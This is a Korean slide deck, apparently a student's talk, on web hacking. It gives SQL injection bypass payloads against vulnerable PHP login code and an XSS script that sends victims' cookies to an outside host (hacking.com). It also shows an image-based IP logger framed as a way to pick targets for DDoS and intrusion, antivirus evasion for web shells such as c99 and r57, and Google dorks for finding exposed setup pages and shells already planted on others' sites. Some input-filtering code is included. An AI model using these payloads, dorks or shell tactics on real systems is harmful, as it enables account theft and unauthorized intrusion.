Upload
ubuntu-korea-community
View
341
Download
5
Embed Size (px)
Citation preview
한국디지털미디어고등학교, TeamPure, JT JSOFT 장태진
WEB Hacking
해킹의 종류
웹해킹
네트워크 해킹
시스템(OS)해킹
웹해킹 기법
SQL INJECTION
HTML INJECTION
HEADER INJECTION
Cross Site Scripting
웹해킹 기법
업로드 취약점
다운로드 취약점
INJECTION
나는 사람입니다.
나는 잘생긴 사람입니다.
INJECTION
INJECTION
INJECTION
SQL INJECTION
데이터베이스데이터의 집합
테이블
필드
1학년
3반 6반 9반
양식( 번호, 이름, 사진 )
Select문법 : Select 필드명 또는 별(*) from 테이블명 where 조건
예문 : Select user_id from accounts where user_name='장태진';
<?$connect = mysql_connect(“localhost”, “root”, “rootpassword”);mysql_select_db(“dimigo”);
$sql = “Select user_id from accounts where user_name=\”장태진\””;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);
ECHO $row[user_id];?>
test
SQL INJECTION<?
$connect = mysql_connect(“localhost”, “root”, “rootpassword”);mysql_select_db(“dimigo”);
$id = $_GET ['id'];$pw = $_GET ['pw'];
$sql = “Select jumin from accounts where id='$id' and pw='$pw';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);
ECHO $row[jumin];?>
ID = testidPW = testpw
http://example.co.kr/test.php?id=testid&pw=testpw
출력 : 980414-1******
SQL INJECTION<?
$connect = mysql_connect(“localhost”, “root”, “rootpassword”);mysql_select_db(“dimigo”);
$id = $_GET ['id'];$pw = $_GET ['pw'];
$sql = “Select jumin from accounts where id='$id' and pw='$pw';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);
ECHO $row[jumin];?>
ID = adminPW = admin
http://example.co.kr/test.php?id=admin&pw=admin
출력 : [출력값 없음]
SQL INJECTION<?
$connect = mysql_connect(“localhost”, “root”, “rootpassword”);mysql_select_db(“dimigo”);
$id = $_GET ['id'];$pw = $_GET ['pw'];
$sql = “Select jumin from accounts where id='$id' and pw='$pw';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);
ECHO $row[jumin];?>
ID = admin' --PW = 아무거나
SQL INJECTION
Select jumin from accounts where id='$id' and pw='$pw';
Select jumin from accounts where id='admin' -- ' and pw = 'admin';
Select jumin from accounts where id='admin' -- ' and pw = 'admin';
Select jumin from accounts where id='admin';
SQL INJECTION기본 패턴
주민번호 출력 주민번호 출력 SQL SQL 질의문질의문Select jumin from accounts where id='$id' and pw='$pw';
$id$id값값
' or 1 = 1 –-
' or '1' = '1
아이디' –-
1' or '1' like '1' –-
SQL Injection SQL Injection 공격 패턴의 특징공격 패턴의 특징
1. 뛰어쓰기가 들어간다.
2. 특수문자 따옴표 “ ' ” 가 들어간다.
따옴표따옴표, , 뛰어쓰기 막기뛰어쓰기 막기
$user_id = “admin' or 1=1 --”; // 공격우회패턴
$sql = “Select jumin from accounts where user_id='$user_id';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);
ECHO $row[jumin];
따옴표따옴표, , 뛰어쓰기 막기뛰어쓰기 막기
$user_id = “admin' or 1=1 --”; // 공격우회패턴
$user_id = str_replace(“'”, “&#”.ord(“'”).”;”, $user_id);$user_id = str_replace(“ “, “ ”, $user_id);
/* admin'&#nbsp;or&#nbsp;1=1&#nbsp;-- */$sql = “Select jumin from accounts where user_id='$user_id';”;$result = mysql_query($sql, $connect);$row = mysql_fetch_array($result);
ECHO $row[jumin];
방금 전 소스로도 불안하다면방금 전 소스로도 불안하다면??
function replace_ascii($str) {
$text=$str; $text2=""; for($i=0;$i<str len($text);$i+ + ) {
if(33<=ord($text[$i])&&ord($text[$i])<=47) $text2.="&#".ord($text[$i]).";"; else if(58<=ord($text[$i])&&ord($text[$i])<=64) $text2.="&#".ord($text[$i]).";"; else if(91<=ord($text[$i])&&ord($text[$i])<=96) $text2.="&#".ord($text[$i]).";"; else if(123<=ord($text[$i])&&ord($text[$i])<=126)
$text2.="&#".ord($text[$i]).";"; else $text2.=$text[$i];
} $str=$text2;
$str=str_replace(" "," ",$str); return $str; }
A-Z, a-z, 0-9를 제외하고 아스키코드가 33이상, 126이하인 모든 문자 아스키코드로!
HTML InjectionHTML Injection
Cross Site Scripting
→ CSS
→ XSS
HTML INJECT IONHTML INJECT ION
<html>
<head></head>
<body>
<div>나는 사람입니다.</div>
</body>
</html>
HTML INJECT IONHTML INJECT ION
<html>
<head></head>
<body>
<div>나는 잘생긴사람입니다.</div>
</body>
</html>
HTML INJECT IONHTML INJECT ION
<scr ipt>
var aaa = “<?=$_GET ['q'];?>”;
alert(aaa);
</scr ipt>
HTML INJECT IONHTML INJECT ION
<script> var aaa = “”; location.href =”http://www.jtjsoft.com”; alert(aaa);</scr ipt>
HTML INJECT IONHTML INJECT ION
HTML INJECT IONHTML INJECT ION
쿠키/세션 탈취
페이지 이동
알림창
HTML INJECT IONHTML INJECT ION
JS에 도움
페이지 변조
훼이크
HTML INJECT IONHTML INJECT ION
JS에서 하지 못하는 부분
정보 저장
훼이크
HTML INJECT ION - JSHTML INJECT ION - JS
document.cookieSession 아이디아이디패스워드주민번호이름집 주소
HTML INJECT ION - JSHTML INJECT ION - JS
location.href = “”URL이동 - 개인정보공개 URL - 로그아웃 URL - 블로그 폐쇠 URL - 피싱사이트 (복제사이트)URL - 카페탈퇴 URL - 게시물 추천버튼 URL
HTML INJECT ION - JSHTML INJECT ION - JS
alert(“메세지”);
피싱사이트로 이동할때 도움
사용자를 불안하게 함
HTML INJECT ION - HTMLHTML INJECT ION - HTML
Javascr ipt 에 도움<<Javascript 필터링 우회>>
- <pre></pre> - <textarea></textarea> - <input value=””>
HTML INJECT ION - HTMLHTML INJECT ION - HTML
사이트 변조< 사례 >
- 네이트온 http://<script>- 웹하드 금칙어 우회
HTML INJECT ION - HTMLHTML INJECT ION - HTML
훼이크 - 정보숨기기
- 가짜 정보 보여주기
- 가짜 입력창 만들기
HTML INJECT ION - PHPHTML INJECT ION - PHP
Javascr ipt 가 못하는 일 < 사례 >
- IMG Header, 정보저장
HTML INJECT ION - PHPHTML INJECT ION - PHP
서버에 정보 저장
XSS XSS 활용 활용 - 1- 1<div>
<pre>게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물
내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용 게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용게시물내용</pre></div>
XSS XSS 활용 활용 - 1- 1
<div><pre>
</pre><script>Var cookie = document.cookie;location.href=(“http://hacking.com/save.php?cookie=” + cookie);
</scr ipt><pre>
</pre></div>
XSS XSS 활용 활용 - 1- 1
사용자 이름사용자 아이디사용자 아이피사용자 주민번호
XSS XSS 활용 활용 - 1- 1
User Hacker
XSSXSS활용 활용 -2 … PHP-2 … PHP
<?// e.f. 127.0.0.1$ip = $_SERVER['REMOT E_ADDR'];
$f = fopen(“./ipip.txt”, “a”); // ipip.txt 생성/글쓰기
fwrite($f, $ip.”\n”); // e.f. 127.0.0.1\n
fclose($f); // 파일 닫기?>
http://hacking.kr/ipget.php
XSSXSS활용 활용 -2 … HTML-2 … HTML
<div><pre>
</pre>
<img src=”http://hacking.kr/ipget.php”/><pre>
</pre></div>
XSSXSS활용 활용 -2-2
XSSXSS활용 활용 -2-2
Ipip.txt127.0.12.1127.123.2.1127.0.220.12127.23.50.11127.103.0.14127.0.60.15127.20.0.134127.10.50.177127.1.0.12127.0.40.133127.110.0.13127.0.30.112127.140.0.19127.0.2.187127.0.120.10127.120.230.144127.0.10.132127.20.20.13
XSSXSS활용 활용 -3 … PHP-3 … PHP
<?Header(“Content-T ype: image/png”);$ip = $_SERVER['REMOT E_ADDR'];
$f = fopen(“./ipip.txt”, “a”); // ipip.txt 생성/글쓰기
fwrite($f, $ip.”\n”); // e.f. 127.0.0.1\nfclose($f); // 파일 닫기
$f = fopen(“./a.png”, “r”); // a.png 생성/글쓰기ECHO fread($f, filesize(“./a.png”)); // 이미지
fclose($f); // 파일 닫기?>
http://hacking.kr/ipget.php
XSSXSS활용 활용 -3-3
Ipip.txt127.0.12.1127.123.2.1127.0.220.12127.23.50.11127.103.0.14127.0.60.15127.20.0.134127.10.50.177127.1.0.12127.0.40.133127.110.0.13127.0.30.112127.140.0.19127.0.2.187127.0.120.10127.120.230.144127.0.10.132127.20.20.13
IP만 가져와서 뭐하냐고?
● 좋은예 :
자신의 블로그/카페의 방문자 확인
● 나쁜예 :
특정한 사람을 도발하는 글을 쓴 후 타겟들이 게시물을 보았을 때 아이피를 저장
→ D-DoS
→ 포트스캔 후 취약한 포트들 분석
→ 웹해킹
→ 시스템해킹
업로드 취약점
웹 쉘
웹 쉘
r57 shell
C99 shell
AJAX Webshell
Wso
0
ITSEC
PHPSpy
PHPshell
평문소스 → 바이러스로 탐지하여 백신에서 삭제시킴
암호화된 소스 → 백신/웹쉘탐지 우회
올릴 수 있는 곳 올릴 수 있는 곳
이미지 업로드 부분
파일 업로드 부분
SQL INJECT ION 부분
구글링으로얻어먹기
./scr ipts/setup.php
Google SearchGoogle Search
site:*/scr ipts/setup.php
1 행 2 행 3 행 4 행
0
2
4
6
8
10
12
1 열
2 열
3 열
망할!구글링하여 나온 50개의 사이트 모두 안되요!
기냥 업로드된 웹쉘을 찾자!
site:*/*/c99.php
site:*/*/webshell.php
site:*/*/r57shell.php
이것들을 이용하여 할 수 있는 일
끝 날 시 간 ㅜ
죄송합니다. 고마워요!
선물을 하나 준비했어요.
저를 깔 수 있는 시간입니다.
QNA